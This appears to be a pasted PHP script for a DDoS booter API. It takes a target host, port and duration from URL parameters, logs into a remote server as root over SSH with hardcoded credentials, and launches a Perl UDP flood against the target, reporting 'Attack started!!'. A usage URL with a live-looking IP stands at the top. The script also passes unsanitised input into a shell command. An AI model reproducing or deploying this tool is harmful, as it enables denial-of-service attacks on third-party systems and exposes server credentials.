· 6 years ago · Feb 05, 2020, 03:44 PM
1http://173.232.146.59/Perl.php?key=test&host=host&port=port&time=time&method=method
2
3<?php
4ignore_user_abort(true);
5set_time_limit(1000);
6$server_ip = "173.232.146.59";
7$server_pass = "175a4033d8";
8$server_user = "root";
9$key = $_GET['key'];
10$host = $_GET['host'];
11$port = intval($_GET['port']);
12$time = intval($_GET['time']);
13$method = $_GET['method'];
14$action = $_GET['action'];
15$array = array("udp");
16$ray = array("test"); //This is your API password.
17if (!empty($key)){
18}else{
19die('Error: API key is empty!');}
20if (in_array($key, $ray)){
21}else{
22die('Error: Incorrect API key!');}
23if (!empty($time)){
24}else{
25die('Error: time is empty!');}
26if (!empty($host)){
27}else{
28die('Error: Host is empty!');}
29if (!empty($method)){
30}else{
31die('Error: Method is empty!');}
32if (in_array($method, $array)){
33}else{
34die('Error: The method you requested does not exist!');}
35if ($port > 44405){
36die('Error: Ports over 44405 do not exist');}
37if ($time > 1000){
38die('Error: Cannot exceed 1000 seconds!');}
39if(ctype_digit($Time)){
40die('Error: Time is not in numeric form!');}
41if(ctype_digit($Port)){
42die('Error: Port is not in numeric form!');}
43if ($method == "udp") { $command = "perl ./udp.pl $host $port 1000 $time"; }
44if ($action == "stop") { $command = "pkill $host -f"; }
45if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
46if(!($con = ssh2_connect($server_ip, 22))){
47 echo "Error: Connection Issue";
48} else {
49 if(!ssh2_auth_password($con, $server_user, $server_pass)) {
50 echo "Error: Login failed, one or more of you're server credentials are incorrect.";
51 } else {
52
53 if (!($stream = ssh2_exec($con, $command ))) {
54 echo "Error: You're server was not able to execute you're methods file and or its dependencies";
55 } else {
56 stream_set_blocking($stream, false);
57 $data = "";
58 while ($buf = fread($stream,4096)) {
59 $data .= $buf;
60 }
61 echo "Attack started!!</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method";
62 fclose($stream);
63 }
64 }
65}
66?>